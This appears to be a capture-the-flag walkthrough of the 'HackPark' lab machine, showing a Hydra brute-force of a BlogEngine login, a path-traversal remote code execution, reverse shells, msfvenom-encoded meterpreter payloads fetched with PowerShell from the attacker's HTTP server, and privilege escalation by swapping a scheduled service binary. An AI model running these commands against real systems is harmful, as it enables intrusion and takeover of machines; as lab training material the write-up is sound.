We need to find a login page to attack and identify what type of request the form is making to the webserver. Typically, web servers make two types of requests, a GET request which is used to request data from a webserver and a POST request which is used to send data to a server.
You can check what request a form is making by right clicking on the login form, inspecting the element and then reading the value in the method field. You can also identify this if you are intercepting the traffic through BurpSuite (other HTTP methods can be found
here).
To brute-force the account, we use the following command:
The http-form-post module allows us to bruteforce a login page, as you can see the parameters are separated by colons.
The first parameter is the login page: /Account/login.aspx
The second parameter is obtained by sending a request and viewing the request payload in raw mode:
We replaced the username and password values respectively with ^USER^ and ^PASS^ in order to allow Hydra to bruteforce these fields. To be more precise, Hydra won’t bruteforce the username parameter because we specify that it’s admin, but Hydra will bruteforce the password parameter with the wordlist.
Finally, the last parameter is Login failed. It’s the pattern that appears in an invalid login. It allows Hydra to know when the password tried is invalid.
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.205.192 http-form-post "/Account/login.aspx:__VIEWSTATE=8mNWGLxNXJN8wfx6vqdj3rA%2F9d8cpeKJeGtnFTrggQI9Lfjyem59RJwl%2Bfi%2BISDcD%2B48Izn57%2BYYVuNlU8bOVL6H8jDvgmeLNN7cCtEpTNYbdizgp2fKsK8sL6g11CXQBMiAQbrf6D6YP64UUsPWcOvTC0Ij01LUqTFOJep25yBOuz6Y&__EVENTVALIDATION=RXeSZ0l8L11pi%2BvuKnfkq0AZ%2FSUxOyZwaYvZhYX2jLG4KO%2BlgZ11MbioWOT0XHKEo7omClwwgQWjRk4YNbboj1HZSd3NRS6H1FBMH6ixhNJ4TTWtaGILDOvzVezBqBiGWh%2FLsmxWUa%2Bk0V6zwCmAYz%2Bk4l8WihTX2oknubZTyFR6jkfa&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed"Hydra v9.3 (c)2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-10-25 07:44:39
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.10.205.192:80/Account/login.aspx:__VIEWSTATE=8mNWGLxNXJN8wfx6vqdj3rA%2F9d8cpeKJeGtnFTrggQI9Lfjyem59RJwl%2Bfi%2BISDcD%2B48Izn57%2BYYVuNlU8bOVL6H8jDvgmeLNN7cCtEpTNYbdizgp2fKsK8sL6g11CXQBMiAQbrf6D6YP64UUsPWcOvTC0Ij01LUqTFOJep25yBOuz6Y&__EVENTVALIDATION=RXeSZ0l8L11pi%2BvuKnfkq0AZ%2FSUxOyZwaYvZhYX2jLG4KO%2BlgZ11MbioWOT0XHKEo7omClwwgQWjRk4YNbboj1HZSd3NRS6H1FBMH6ixhNJ4TTWtaGILDOvzVezBqBiGWh%2FLsmxWUa%2Bk0V6zwCmAYz%2Bk4l8WihTX2oknubZTyFR6jkfa&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed
[80][http-post-form] host: 10.10.205.192 login: admin password: 1qaz2wsx
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-10-25 07:45:25
Now you have logged into the website, are you able to identify the version of the BlogEngine?
We started by going on the admin panel and then we clicked on About:
So, we found the version of the BlogEngine and after searching on exploit-db we found a CVE:
The objective of this exploit is to craft a javascript payload that will be uploaded on the server. Then, we are going to use a Path traversal vulnerability leading to remote code execution. This is caused by an unchecked “theme” parameter that is used to override the default theme for rendering blog pages.
Firstly, here is the payload in which we changed the ip and port according to our network settings:
Then we upload it with the name PostView.ascx at this path:
http://10.10.205.192/admin/app/editor/editpost.cshtml
Once it’s done, we juste need to load the theme with the path traversal vulnerability by making a request here http://10.10.205.192/?theme=../../App_Data/files
Bingo ! We have a shell:
nc -lvp 4445listening on [any]4445 ...
10.10.205.192: inverse host lookup failed: Unknown host
connect to [10.11.5.152] from (UNKNOWN)[10.10.205.192]49285Microsoft Windows [Version 6.3.9600](c)2013 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>
whoami
c:\windows\system32\inetsrv>whoami
iis apppool\blog
Our netcat session is a little unstable, so lets generate another reverse shell using msfvenom.
Firstly, we start a listner with metasploit:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > set LHOST 10.11.5.152
LHOST=> 10.11.5.152
msf6 exploit(multi/handler) > set LPORT 4443LPORT=> 4443msf6 exploit(multi/handler) > run
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
[*] Started reverse TCP handler on 10.11.5.152:4443
[-] Command shell session 1 is not valid and will be closed
[*] 10.10.205.192 - Command shell session 1 closed.
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] run: Interrupted
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD=> windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.11.5.152:4443
Then, we generate a meterpreter with msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.11.5.152 LPORT=4443 -f exe -o meterpreter.exe
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381(iteration=0)x86/shikata_ga_nai chosen with final size 381Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: meterpreter.exe
Let’s start a simple http server with python3 -m http.server 80 and download it on the server.
Firstly, we go on the Temp directory because he is writeable. And we download the meterpreter with powershell -c wget "http://10.11.5.152/meterpreter.exe" -outfile "meterpreter.exe".
[*] Sending stage (175686 bytes) to 10.10.205.192
[*] Meterpreter session 2 opened (10.11.5.152:4443 -> 10.10.205.192:49337) at 2022-10-25 09:08:32 +0200
meterpreter > sysinfo
Computer : HACKPARK
OS : Windows 2012 R2 (6.3 Build 9600).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1Meterpreter : x86/windows
meterpreter >
Let’s further enumerate the machine:
meterpreter > shell
Process 2276 created.
Channel 2 created.
WinPMicrosoft Windows [Version 6.3.9600](c)2013 Microsoft Corporation. All rights reserved.
ea
C:\Windows\Temp>WinPEAS.exe services info
As you can see, there is a service running with too high permissions:
And the binary concerned by this vulnerability is WService.exe. However, for some reason that’s not the correct answer. We have to go on the Program Files folder and inspect it.
c:\>cd ProgramFiles(x86)cd ProgramFiles(x86)c:\ProgramFiles(x86)>dir dir
VolumeindriveChasnolabel.VolumeSerialNumberis0E97-C552Directoryofc:\ProgramFiles(x86)08/06/201902:12PM<DIR>.08/06/201902:12PM<DIR>..08/22/201308:39AM<DIR>CommonFiles03/21/201412:07PM<DIR>InternetExplorer08/22/201308:39AM<DIR>Microsoft.NET08/04/201904:37AM<DIR>SystemScheduler08/22/201308:39AM<DIR>WindowsMail08/22/201308:39AM<DIR>WindowsNT08/22/201308:39AM<DIR>WindowsPowerShell0File(s)0bytes9Dir(s)39,122,321,408bytesfreec:\ProgramFiles(x86)>cd SystemSchedulercd SystemSchedulerc:\ProgramFiles(x86)\SystemScheduler>dir
dir
VolumeindriveChasnolabel.VolumeSerialNumberis0E97-C552Directoryofc:\ProgramFiles(x86)\SystemScheduler08/04/201904:37AM<DIR>.08/04/201904:37AM<DIR>..05/17/200701:47PM1,150alarmclock.ico08/31/200312:06PM766clock.ico08/31/200312:06PM80,856ding.wav10/25/202212:38AM<DIR>Events08/04/201904:36AM60Forum.url01/08/200908:21PM1,637,972libeay32.dll11/16/200412:16AM9,813License.txt10/25/202212:32AM1,496LogFile.txt10/25/202212:32AM3,760LogfileAdvanced.txt03/25/201810:58AM536,992Message.exe03/25/201810:59AM445,344PlaySound.exe03/25/201810:58AM27,040PlayWAV.exe08/04/201903:05PM149Preferences.ini03/25/201810:58AM485,792Privilege.exe03/24/201812:09PM10,100ReadMe.txt03/25/201810:58AM112,544RunNow.exe03/25/201810:59AM40,352sc32.exe08/31/200312:06PM766schedule.ico03/25/201810:58AM1,633,696Scheduler.exe03/25/201810:59AM491,936SendKeysHelper.exe03/25/201810:58AM437,664ShowXY.exe03/25/201810:58AM439,712ShutdownGUI.exe03/25/201810:58AM235,936SSAdmin.exe03/25/201810:58AM731,552SSCmd.exe01/08/200908:12PM355,446ssleay32.dll03/25/201810:58AM456,608SSMail.exe08/04/201904:36AM6,999unins000.dat08/04/201904:36AM722,597unins000.exe08/04/201904:36AM54Website.url06/26/200905:27PM6,574whiteclock.ico03/25/201810:58AM76,704WhoAmI.exe05/16/200604:49PM785,042WSCHEDULER.CHM05/16/200603:58PM2,026WScheduler.cnt03/25/201810:58AM331,168WScheduler.exe05/16/200604:58PM703,081WSCHEDULER.HLP03/25/201810:58AM136,096WSCtrl.exe03/25/201810:58AM98,720WService.exe03/25/201810:58AM68,512WSLogon.exe03/25/201810:59AM33,184WSProc.dll38File(s)11,148,259bytes3Dir(s)39,122,321,408bytesfreec:\ProgramFiles(x86)\SystemScheduler>dir Eventsdir EventsVolumeindriveChasnolabel.VolumeSerialNumberis0E97-C552Directoryofc:\ProgramFiles(x86)\SystemScheduler\Events10/25/202212:38AM<DIR>.10/25/202212:38AM<DIR>..10/25/202212:39AM1,92620198415519.INI10/25/202212:39AM18,68720198415519.INI_LOG.txt10/02/202002:50PM2902020102145012.INI10/25/202212:32AM186Administrator.flg10/25/202212:32AM0Scheduler.flg10/25/202212:32AM0service.flg10/25/202212:32AM449SessionInfo.flg10/25/202212:32AM182SYSTEM_svc.flg8File(s)21,720bytes2Dir(s)39,122,321,408bytesfree
In the Program Files folder, there is another folder named Eventswich contained a log file:
It reveals that’s the process executed is Message.exe.
So let’s exploit it by generating a new reverse-shell and replace Message.exe with it:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.11.5.152 LPORT=4442 -f exe -o meterpreter2.exe
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381(iteration=0)x86/shikata_ga_nai chosen with final size 381Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: meterpreter2.exe
In this part generate a more stable shell using msfvenom, instead of using a meterpreter. This time let’s set our payload to windows/shell_reverse_tcp
msfvenom -p windows/shell_reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.11.5.152 LPORT=4444 -f exe -o meterpreter3.exe
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351(iteration=0)x86/shikata_ga_nai chosen with final size 351Payload size: 351 bytes
Final size of exe file: 73802 bytes
Saved as: meterpreter3.exe
Now we create a listener with the appropriated parameters:
msf6 exploit(multi/handler) > set LPORT 4444LPORT=> 4444msf6 exploit(multi/handler) > set payload windows/shell_reverse_tcp
payload=> windows/shell_reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.11.5.152:4444
Then, we download the reverse-shell by create a simple http server with python3 -m http.server 80 and we execute it: